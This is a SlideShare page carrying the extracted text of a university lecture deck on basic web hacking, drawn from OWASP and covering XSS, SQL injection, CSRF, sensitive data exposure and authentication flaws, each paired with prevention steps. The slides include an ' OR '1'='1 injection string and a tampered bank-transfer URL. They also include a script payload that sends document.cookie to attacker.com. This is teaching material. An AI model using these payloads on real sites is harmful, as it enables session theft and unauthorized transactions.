SlideShare ist ein Scribd-Unternehmen logo

Hacking the Web

‱
‱
Mike Crabb
Mike Crabb

Slides used to introduce some basic concepts used in web hacking.

TechnologieInternet
1 von 20
Downloaden Sie, um offline zu lesen
HACKING THE WEB CONTENT LOVINGLY RIPPED FROM OWASP.ORG
CROSS SITE SCRIPTINGL HACKING RGU ETH GU ETHICAL HACKING RGU ETHICAL HACKIN SQL INJECTIONHACKING RGU ETHICAL HACK NGRGU ETHICAL HACKINGRGU ETHICAL HAC COOKIE EDITINGACKING RGU ETHICAL HACK RGU ETHICAL HACKINGRGU ETHICAL HACKI CROSS SITE REQUEST FORGERYL HACKING CKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHIC SENSITIVE DATA EXPOSURE RGU ETHICAING
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING L HACKING RGU ETH GU ETHICAL HACKING RGU ETHICAL HACKIN HACKING RGU ETHICAL HACK NGRGU ETHICAL HACKINGRGU ETHICAL HAC ACKING RGU ETHICAL HACK RGU ETHICAL HACKINGRGU ETHICAL HACKI L HACKING CKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHICAL HACKINGRGU ETHIC RGU ETHICAING
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E ATTACK ATTACK ATTACK WEAKNESS WEAKNESS WEAKNESS WEAKNESS CONTROL CONTROL ASSETS FUNCTIONS Threat‹ Agents Attack‹ Vectors Security‹ Weaknesses Security‹ Controls Technical‹ Impacts Business‹ Impacts ATTACK WEAKNESS CONTROL FUNCTIONS IMPACT IMPACT IMPACTIMPACT
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat‹ Agents Attack‹ Vectors Security‹ Weaknesses Security‹ Controls Technical‹ Impacts Business‹ Impacts
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat‹ Agents Attack‹ Vectors Security‹ Weaknesses Technical‹ Impacts Business‹ Impacts APPLICATION SPECIFIC DIFFICULT UNCOMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat‹ Agents Attack‹ Vectors Security‹ Weaknesses Technical‹ Impacts Business‹ Impacts APPLICATION SPECIFIC DIFFICULT UNCOMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT Considering the threats you plan to protect this data from (e.g., insider attack, external user), make sure you encrypt all sensitive data at rest and in transit in a manner that defends against these threats. Don’t store sensitive data unnecessarily. Discard it as soon as possible. Data you don’t have can’t be stolen. Ensure strong standard algorithms and strong keys are used, and proper key management is in place. Ensure passwords are stored with an algorithm speciïŹcally designed for password protection, such as bcrypt, PBKDF2, or scrypt. Disable autocomplete on forms collecting sensitive data and disable caching for pages that contain sensitive data.
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat‹ Agents Attack‹ Vectors Security‹ Weaknesses Technical‹ Impacts Business‹ Impacts APPLICATION SPECIFIC AVERAGE COMMON EASY MODERATE APPLICATION SPECIFIC Prevalence Detectability
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat‹ Agents Attack‹ Vectors Security‹ Weaknesses Technical‹ Impacts Business‹ Impacts APPLICATION SPECIFIC AVERAGE COMMON EASY MODERATE APPLICATION SPECIFIC Prevalence Detectability HTTP://WWW.MYAMAZINGBANK.COM/TRANSFERFUNDS.PHP?FROM=1234&TO=4321&AMOUNT=500 HTTP://WWW.MYAMAZINGBANK.COM/TRANSFERFUNDS.PHP?FROM=1234&TO=666&AMOUNT=5000 VERY EASY ATTACK. SOMETHING LIKE THIS
 CAN BE CHANGED TO THIS
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT The preferred option is to include the unique token in a hidden ïŹeld. This causes the value to be sent in the body of the HTTP request, avoiding its inclusion in the URL, which is more prone to exposure. The unique token can also be included in the URL itself, or a URL parameter. However, such placement runs a greater risk that the URL will be exposed to an attacker, thus compromising the secret token. Requiring the user to re-authenticate, or prove they are a user (e.g., via a CAPTCHA) can also protect against CSRF. Easiest ïŹx, when dealing with forms, is to change it from GET to POST
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat‹ Agents Attack‹ Vectors Security‹ Weaknesses Technical‹ Impacts Business‹ Impacts APPLICATION SPECIFIC AVERAGE WIDESPREAD AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability BROKEN AUTHENTICATION AND SESSION MANAGEMENT
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT The primary recommendation for an organisation is to make available to developers: A single set of strong authentication and session management controls. Such controls should strive to: 1. meet all the authentication and session management requirements deïŹned in OWASP’s Application Security VeriïŹcation Standard (ASVS) areas V2 (Authentication) and V3 (Session Management). 2. have a simple interface for developers. Consider the ESAPI Authenticator and User APIs as good examples to emulate, use, or build upon.
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat‹ Agents Attack‹ Vectors Security‹ Weaknesses Technical‹ Impacts Business‹ Impacts APPLICATION SPECIFIC EASY COMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat‹ Agents Attack‹ Vectors Security‹ Weaknesses Technical‹ Impacts Business‹ Impacts APPLICATION SPECIFIC EASY COMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability STRING QUERY = "SELECT * FROM ACCOUNTS WHERE CUSTID='" + REQUEST.GETPARAMETER("ID") + "'"; HTTP://EXAMPLE.COM/APP/ACCOUNTVIEW?ID=' OR '1'='1
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat‹ Agents Attack‹ Vectors Security‹ Weaknesses Technical‹ Impacts Business‹ Impacts APPLICATION SPECIFIC EASY COMMON AVERAGE SEVERE APPLICATION SPECIFIC Prevalence Detectability STRING QUERY = "SELECT * FROM ACCOUNTS WHERE CUSTID='" + REQUEST.GETPARAMETER("ID") + "'"; HTTP://EXAMPLE.COM/APP/ACCOUNTVIEW?ID=' OR '1'='1
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT Preventing injection requires keeping untrusted data separate from commands and queries. The preferred option is to use a safe API which avoids the use of the interpreter entirely or provides a parameterised interface. Be careful with APIs, such as stored procedures, that are parameterised, but can still introduce injection under the hood. If a parameterised API is not available, you should carefully escape special characters using the speciïŹc escape syntax for that interpreter. OWASP’s ESAPI provides many of these escaping routines.
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E Threat‹ Agents Attack‹ Vectors Security‹ Weaknesses Technical‹ Impacts Business‹ Impacts APPLICATION SPECIFIC AVERAGE VERY WIDESPREAD EASY MODERATE APPLICATION SPECIFIC Prevalence Detectability (STRING) PAGE += "<INPUT NAME='CREDITCARD' TYPE='TEXT' VALUE='" + REQUEST.GETPARAMETER("CC") + "'>"; '><SCRIPT>DOCUMENT.LOCATION= 'HTTP://WWW.ATTACKER.COM/CGI-BIN/COOKIE.CGI ? FOO='+DOCUMENT.COOKIE</SCRIPT>'.
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING RGU ETHICAL HACKING RGU ETHICAL HA AL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING RGU ETHICAL HACKING HICAL HACKING RGU ETHICAL HACKINGKING RGU ETHICAL H RGU ETHICA RGU E STEPS TO PREVENT Preferred option is to properly escape all untrusted data based on the HTML context (body, attribute, JavaScript, CSS, or URL) that the data will be placed into. Positive or “whitelist” input validation is also recommended as it helps protect against XSS, but is not a complete defense as many applications require special characters in their input. For rich content, consider auto-sanitization libraries like the Java HTML Sanitizer Project. Consider Content Security Policy (CSP) to defend against XSS across your entire site.
CROSS SITE SCRIPTING SQL INJECTION CROSS SITE REQUEST FORGERY SENSITIVE DATA EXPOSURE COOKIE EDITING

Empfohlen

Ruby on Rails Penetration Testing
Ruby on Rails Penetration TestingRuby on Rails Penetration Testing
Ruby on Rails Penetration Testing3S Labs
 
Cybersecurity - Webinar Session
Cybersecurity - Webinar SessionCybersecurity - Webinar Session
Cybersecurity - Webinar SessionKalilur Rahman
 
2022 Rea & Associates' Cybersecurity Conference
2022 Rea & Associates' Cybersecurity Conference 2022 Rea & Associates' Cybersecurity Conference
2022 Rea & Associates' Cybersecurity Conference Rea & Associates
 
Cyber security and privacy
Cyber security and privacyCyber security and privacy
Cyber security and privacyJIJO CLEETUS
 
Craigslist Code Words: Do You Know What They Really Mean?
Craigslist Code Words: Do You Know What They Really Mean?Craigslist Code Words: Do You Know What They Really Mean?
Craigslist Code Words: Do You Know What They Really Mean?Instant Checkmate
 
Careers in Security
Careers in SecurityCareers in Security
Careers in SecurityJason Chan
 
How To Make A Point
How To Make A PointHow To Make A Point
How To Make A PointSlides That Rock
 
SEO: Getting Personal
SEO: Getting PersonalSEO: Getting Personal
SEO: Getting PersonalKirsty Hulse
 

Empfohlen

Ruby on Rails Penetration Testing
Ruby on Rails Penetration TestingRuby on Rails Penetration Testing
Ruby on Rails Penetration Testing3S Labs
 
Cybersecurity - Webinar Session
Cybersecurity - Webinar SessionCybersecurity - Webinar Session
Cybersecurity - Webinar SessionKalilur Rahman
 
2022 Rea & Associates' Cybersecurity Conference
2022 Rea & Associates' Cybersecurity Conference 2022 Rea & Associates' Cybersecurity Conference
2022 Rea & Associates' Cybersecurity Conference Rea & Associates
 
Cyber security and privacy
Cyber security and privacyCyber security and privacy
Cyber security and privacyJIJO CLEETUS
 
Craigslist Code Words: Do You Know What They Really Mean?
Craigslist Code Words: Do You Know What They Really Mean?Craigslist Code Words: Do You Know What They Really Mean?
Craigslist Code Words: Do You Know What They Really Mean?Instant Checkmate
 
Careers in Security
Careers in SecurityCareers in Security
Careers in SecurityJason Chan
 
How To Make A Point
How To Make A PointHow To Make A Point
How To Make A PointSlides That Rock
 
SEO: Getting Personal
SEO: Getting PersonalSEO: Getting Personal
SEO: Getting PersonalKirsty Hulse
 
OWASP Top 10 - 2017
OWASP Top 10 - 2017OWASP Top 10 - 2017
OWASP Top 10 - 2017HackerOne
 
The Future of Cyber Security
The Future of Cyber SecurityThe Future of Cyber Security
The Future of Cyber SecurityStephen Lahanas
 
Offensive OSINT
Offensive OSINTOffensive OSINT
Offensive OSINTChristian Martorella
 
Security Awareness Training.pptx
Security Awareness Training.pptxSecurity Awareness Training.pptx
Security Awareness Training.pptxMohammedYaseen638128
 
mobile application security
mobile application securitymobile application security
mobile application security-jyothish kumar sirigidi
 
API Security Fundamentals
API Security FundamentalsAPI Security Fundamentals
API Security FundamentalsJosé Haro Peralta
 
Phishing ppt
Phishing pptPhishing ppt
Phishing pptshindept123
 
P H I S H I N G
P H I S H I N GP H I S H I N G
P H I S H I N Gbensonoo
 
website phishing by NR
website phishing by NRwebsite phishing by NR
website phishing by NRNARESH GUMMAGUTTA
 
Security in the age of Artificial Intelligence
Security in the age of Artificial IntelligenceSecurity in the age of Artificial Intelligence
Security in the age of Artificial IntelligenceFaction XYZ
 
Getting started with Splunk
Getting started with SplunkGetting started with Splunk
Getting started with SplunkSplunk
 
social engineering
social engineering social engineering
social engineeringRavi Patel
 
è­°éĄŒäșŒïŒšWebæ‡‰ç”šçš‹ćŒćź‰ć…šé˜Čè­·
è­°éĄŒäșŒïŒšWebæ‡‰ç”šçš‹ćŒćź‰ć…šé˜Čè­·è­°éĄŒäșŒïŒšWebæ‡‰ç”šçš‹ćŒćź‰ć…šé˜Čè­·
è­°éĄŒäșŒïŒšWebæ‡‰ç”šçš‹ćŒćź‰ć…šé˜Čè­·Nicolas su
 
Splunk Enterprise Security
Splunk Enterprise SecuritySplunk Enterprise Security
Splunk Enterprise SecuritySplunk
 
How To Become... LORD OF THE SLIDES
How To Become... LORD OF THE SLIDESHow To Become... LORD OF THE SLIDES
How To Become... LORD OF THE SLIDESPaul Brown
 
Cybersecurity Awareness
Cybersecurity AwarenessCybersecurity Awareness
Cybersecurity AwarenessJoshuaWisniewski3
 
microsoft-cybersecurity-reference-architectures (1).pptx
microsoft-cybersecurity-reference-architectures (1).pptxmicrosoft-cybersecurity-reference-architectures (1).pptx
microsoft-cybersecurity-reference-architectures (1).pptxGenericName6
 
Latest Top 10 Types of Cyber Security Threats
Latest Top 10 Types of Cyber Security ThreatsLatest Top 10 Types of Cyber Security Threats
Latest Top 10 Types of Cyber Security ThreatsB R SOFTECH PVT LTD
 
Mobile security
Mobile securityMobile security
Mobile securitypriyanka pandey
 
Types of Malware (CEH v11)
Types of Malware (CEH v11)Types of Malware (CEH v11)
Types of Malware (CEH v11)EC-Council
 
Securing Your BBC Identity
Securing Your BBC IdentitySecuring Your BBC Identity
Securing Your BBC IdentityMarc Littlemore
 
Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) securityNahidul Kibria
 

Weitere Àhnliche Inhalte

Was ist angesagt?

OWASP Top 10 - 2017
OWASP Top 10 - 2017OWASP Top 10 - 2017
OWASP Top 10 - 2017HackerOne
 
The Future of Cyber Security
The Future of Cyber SecurityThe Future of Cyber Security
The Future of Cyber SecurityStephen Lahanas
 
Security Awareness Training.pptx
Security Awareness Training.pptxSecurity Awareness Training.pptx
Security Awareness Training.pptxMohammedYaseen638128
 
Phishing ppt
Phishing pptPhishing ppt
Phishing pptshindept123
 
P H I S H I N G
P H I S H I N GP H I S H I N G
P H I S H I N Gbensonoo
 
website phishing by NR
website phishing by NRwebsite phishing by NR
website phishing by NRNARESH GUMMAGUTTA
 
Security in the age of Artificial Intelligence
Security in the age of Artificial IntelligenceSecurity in the age of Artificial Intelligence
Security in the age of Artificial IntelligenceFaction XYZ
 
Getting started with Splunk
Getting started with SplunkGetting started with Splunk
Getting started with SplunkSplunk
 
social engineering
social engineering social engineering
social engineeringRavi Patel
 
è­°éĄŒäșŒïŒšWebæ‡‰ç”šçš‹ćŒćź‰ć…šé˜Čè­·
è­°éĄŒäșŒïŒšWebæ‡‰ç”šçš‹ćŒćź‰ć…šé˜Čè­·è­°éĄŒäșŒïŒšWebæ‡‰ç”šçš‹ćŒćź‰ć…šé˜Čè­·
è­°éĄŒäșŒïŒšWebæ‡‰ç”šçš‹ćŒćź‰ć…šé˜Čè­·Nicolas su
 
Splunk Enterprise Security
Splunk Enterprise SecuritySplunk Enterprise Security
Splunk Enterprise SecuritySplunk
 
How To Become... LORD OF THE SLIDES
How To Become... LORD OF THE SLIDESHow To Become... LORD OF THE SLIDES
How To Become... LORD OF THE SLIDESPaul Brown
 
Cybersecurity Awareness
Cybersecurity AwarenessCybersecurity Awareness
Cybersecurity AwarenessJoshuaWisniewski3
 
microsoft-cybersecurity-reference-architectures (1).pptx
microsoft-cybersecurity-reference-architectures (1).pptxmicrosoft-cybersecurity-reference-architectures (1).pptx
microsoft-cybersecurity-reference-architectures (1).pptxGenericName6
 
Latest Top 10 Types of Cyber Security Threats
Latest Top 10 Types of Cyber Security ThreatsLatest Top 10 Types of Cyber Security Threats
Latest Top 10 Types of Cyber Security ThreatsB R SOFTECH PVT LTD
 
Types of Malware (CEH v11)
Types of Malware (CEH v11)Types of Malware (CEH v11)
Types of Malware (CEH v11)EC-Council
 

Was ist angesagt? (20)

OWASP Top 10 - 2017
OWASP Top 10 - 2017OWASP Top 10 - 2017
OWASP Top 10 - 2017
 
The Future of Cyber Security
The Future of Cyber SecurityThe Future of Cyber Security
The Future of Cyber Security
 
Offensive OSINT
Offensive OSINTOffensive OSINT
Offensive OSINT
 
Security Awareness Training.pptx
Security Awareness Training.pptxSecurity Awareness Training.pptx
Security Awareness Training.pptx
 
mobile application security
mobile application securitymobile application security
mobile application security
 
API Security Fundamentals
API Security FundamentalsAPI Security Fundamentals
API Security Fundamentals
 
Phishing ppt
Phishing pptPhishing ppt
Phishing ppt
 
P H I S H I N G
P H I S H I N GP H I S H I N G
P H I S H I N G
 
website phishing by NR
website phishing by NRwebsite phishing by NR
website phishing by NR
 
Security in the age of Artificial Intelligence
Security in the age of Artificial IntelligenceSecurity in the age of Artificial Intelligence
Security in the age of Artificial Intelligence
 
Getting started with Splunk
Getting started with SplunkGetting started with Splunk
Getting started with Splunk
 
social engineering
social engineering social engineering
social engineering
 
è­°éĄŒäșŒïŒšWebæ‡‰ç”šçš‹ćŒćź‰ć…šé˜Čè­·
è­°éĄŒäșŒïŒšWebæ‡‰ç”šçš‹ćŒćź‰ć…šé˜Čè­·è­°éĄŒäșŒïŒšWebæ‡‰ç”šçš‹ćŒćź‰ć…šé˜Čè­·
è­°éĄŒäșŒïŒšWebæ‡‰ç”šçš‹ćŒćź‰ć…šé˜Čè­·
 
Splunk Enterprise Security
Splunk Enterprise SecuritySplunk Enterprise Security
Splunk Enterprise Security
 
How To Become... LORD OF THE SLIDES
How To Become... LORD OF THE SLIDESHow To Become... LORD OF THE SLIDES
How To Become... LORD OF THE SLIDES
 
Cybersecurity Awareness
Cybersecurity AwarenessCybersecurity Awareness
Cybersecurity Awareness
 
microsoft-cybersecurity-reference-architectures (1).pptx
microsoft-cybersecurity-reference-architectures (1).pptxmicrosoft-cybersecurity-reference-architectures (1).pptx
microsoft-cybersecurity-reference-architectures (1).pptx
 
Latest Top 10 Types of Cyber Security Threats
Latest Top 10 Types of Cyber Security ThreatsLatest Top 10 Types of Cyber Security Threats
Latest Top 10 Types of Cyber Security Threats
 
Mobile security
Mobile securityMobile security
Mobile security
 
Types of Malware (CEH v11)
Types of Malware (CEH v11)Types of Malware (CEH v11)
Types of Malware (CEH v11)
 

Ähnlich wie Hacking the Web

Securing Your BBC Identity
Securing Your BBC IdentitySecuring Your BBC Identity
Securing Your BBC IdentityMarc Littlemore
 
Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) securityNahidul Kibria
 
Trend briefs security
Trend briefs securityTrend briefs security
Trend briefs securityJongseok Choi
 
PHPUG Presentation
PHPUG PresentationPHPUG Presentation
PHPUG PresentationDamon Cortesi
 
Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018
Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018
Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018Codemotion
 
Penetration Testing Basics
Penetration Testing BasicsPenetration Testing Basics
Penetration Testing BasicsRick Wanner
 
Security of Web Applications: Top 6 Risks To Avoid
Security of Web Applications: Top 6 Risks To AvoidSecurity of Web Applications: Top 6 Risks To Avoid
Security of Web Applications: Top 6 Risks To Avoidslicklash
 
Ajax Security
Ajax SecurityAjax Security
Ajax SecurityJoe Walker
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008abhijitapatil
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application SecuritySiarhei Barysiuk
 
OWASP Free Training - SF2014 - Keary and Manico
OWASP Free Training - SF2014 - Keary and ManicoOWASP Free Training - SF2014 - Keary and Manico
OWASP Free Training - SF2014 - Keary and ManicoEoin Keary
 
ExpertsLiveEurope The New Era Of Endpoint Security
ExpertsLiveEurope The New Era Of Endpoint SecurityExpertsLiveEurope The New Era Of Endpoint Security
ExpertsLiveEurope The New Era Of Endpoint SecurityAlexander Benoit
 
Vault Associate Certification Internals
Vault Associate Certification Internals Vault Associate Certification Internals
Vault Associate Certification Internals Adnan Rashid
 
Writing Secure Code – Threat Defense
Writing Secure Code – Threat DefenseWriting Secure Code – Threat Defense
Writing Secure Code – Threat Defenseamiable_indian
 
Porque Investir em um time de segurança ofensiva?
Porque Investir em um time de segurança ofensiva?Porque Investir em um time de segurança ofensiva?
Porque Investir em um time de segurança ofensiva?Arthur Paixão
 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application SecurityRob Ragan
 
Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020Moataz Kamel
 
04. xss and encoding
04. xss and encoding04. xss and encoding
04. xss and encodingEoin Keary
 

Ähnlich wie Hacking the Web (20)

Securing Your BBC Identity
Securing Your BBC IdentitySecuring Your BBC Identity
Securing Your BBC Identity
 
Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) security
 
Trend briefs security
Trend briefs securityTrend briefs security
Trend briefs security
 
PHPUG Presentation
PHPUG PresentationPHPUG Presentation
PHPUG Presentation
 
Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018
Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018
Dave Lewis - The Se7en Deadly Sins Of Web Security - Codemotion Berlin 2018
 
Penetration Testing Basics
Penetration Testing BasicsPenetration Testing Basics
Penetration Testing Basics
 
Security of Web Applications: Top 6 Risks To Avoid
Security of Web Applications: Top 6 Risks To AvoidSecurity of Web Applications: Top 6 Risks To Avoid
Security of Web Applications: Top 6 Risks To Avoid
 
Ajax Security
Ajax SecurityAjax Security
Ajax Security
 
Secure coding in C#
Secure coding in C#Secure coding in C#
Secure coding in C#
 
Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008Owasp Top 10 - Owasp Pune Chapter - January 2008
Owasp Top 10 - Owasp Pune Chapter - January 2008
 
Web Application Security
Web Application SecurityWeb Application Security
Web Application Security
 
OWASP Free Training - SF2014 - Keary and Manico
OWASP Free Training - SF2014 - Keary and ManicoOWASP Free Training - SF2014 - Keary and Manico
OWASP Free Training - SF2014 - Keary and Manico
 
ExpertsLiveEurope The New Era Of Endpoint Security
ExpertsLiveEurope The New Era Of Endpoint SecurityExpertsLiveEurope The New Era Of Endpoint Security
ExpertsLiveEurope The New Era Of Endpoint Security
 
Vault Associate Certification Internals
Vault Associate Certification Internals Vault Associate Certification Internals
Vault Associate Certification Internals
 
Writing Secure Code – Threat Defense
Writing Secure Code – Threat DefenseWriting Secure Code – Threat Defense
Writing Secure Code – Threat Defense
 
How to use shodan more powerful
How to use shodan more powerful How to use shodan more powerful
How to use shodan more powerful
 
Porque Investir em um time de segurança ofensiva?
Porque Investir em um time de segurança ofensiva?Porque Investir em um time de segurança ofensiva?
Porque Investir em um time de segurança ofensiva?
 
Intro to Web Application Security
Intro to Web Application SecurityIntro to Web Application Security
Intro to Web Application Security
 
Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020
 
04. xss and encoding
04. xss and encoding04. xss and encoding
04. xss and encoding
 

Mehr von Mike Crabb

Hard to Reach Users in Easy to Reach Places
Hard to Reach Users in Easy to Reach PlacesHard to Reach Users in Easy to Reach Places
Hard to Reach Users in Easy to Reach PlacesMike Crabb
 
Accessible and Assistive Interfaces
Accessible and Assistive InterfacesAccessible and Assistive Interfaces
Accessible and Assistive InterfacesMike Crabb
 
Accessible Everyone
Accessible EveryoneAccessible Everyone
Accessible EveryoneMike Crabb
 
The Peer Review Process
The Peer Review ProcessThe Peer Review Process
The Peer Review ProcessMike Crabb
 
Managing Quality In Qualitative Research
Managing Quality In Qualitative ResearchManaging Quality In Qualitative Research
Managing Quality In Qualitative ResearchMike Crabb
 
Analysing Qualitative Data
Analysing Qualitative DataAnalysing Qualitative Data
Analysing Qualitative DataMike Crabb
 
Conversation Discourse and Document Analysis
Conversation Discourse and Document AnalysisConversation Discourse and Document Analysis
Conversation Discourse and Document AnalysisMike Crabb
 
Ethnographic and Observational Research
Ethnographic and Observational ResearchEthnographic and Observational Research
Ethnographic and Observational ResearchMike Crabb
 
Doing Focus Groups
Doing Focus GroupsDoing Focus Groups
Doing Focus GroupsMike Crabb
 
Doing Interviews
Doing InterviewsDoing Interviews
Doing InterviewsMike Crabb
 
Designing Qualitative Research
Designing Qualitative ResearchDesigning Qualitative Research
Designing Qualitative ResearchMike Crabb
 
Introduction to Accessible Design
Introduction to Accessible DesignIntroduction to Accessible Design
Introduction to Accessible DesignMike Crabb
 
Accessible Everyone
Accessible EveryoneAccessible Everyone
Accessible EveryoneMike Crabb
 
Texture and Glyph Design
Texture and Glyph DesignTexture and Glyph Design
Texture and Glyph DesignMike Crabb
 
Pattern Perception and Map Design
Pattern Perception and Map DesignPattern Perception and Map Design
Pattern Perception and Map DesignMike Crabb
 
Dealing with Enterprise Level Data
Dealing with Enterprise Level DataDealing with Enterprise Level Data
Dealing with Enterprise Level DataMike Crabb
 
Using Cloud in an Enterprise Environment
Using Cloud in an Enterprise EnvironmentUsing Cloud in an Enterprise Environment
Using Cloud in an Enterprise EnvironmentMike Crabb
 
Teaching Cloud to the Programmers of Tomorrow
Teaching Cloud to the Programmers of TomorrowTeaching Cloud to the Programmers of Tomorrow
Teaching Cloud to the Programmers of TomorrowMike Crabb
 
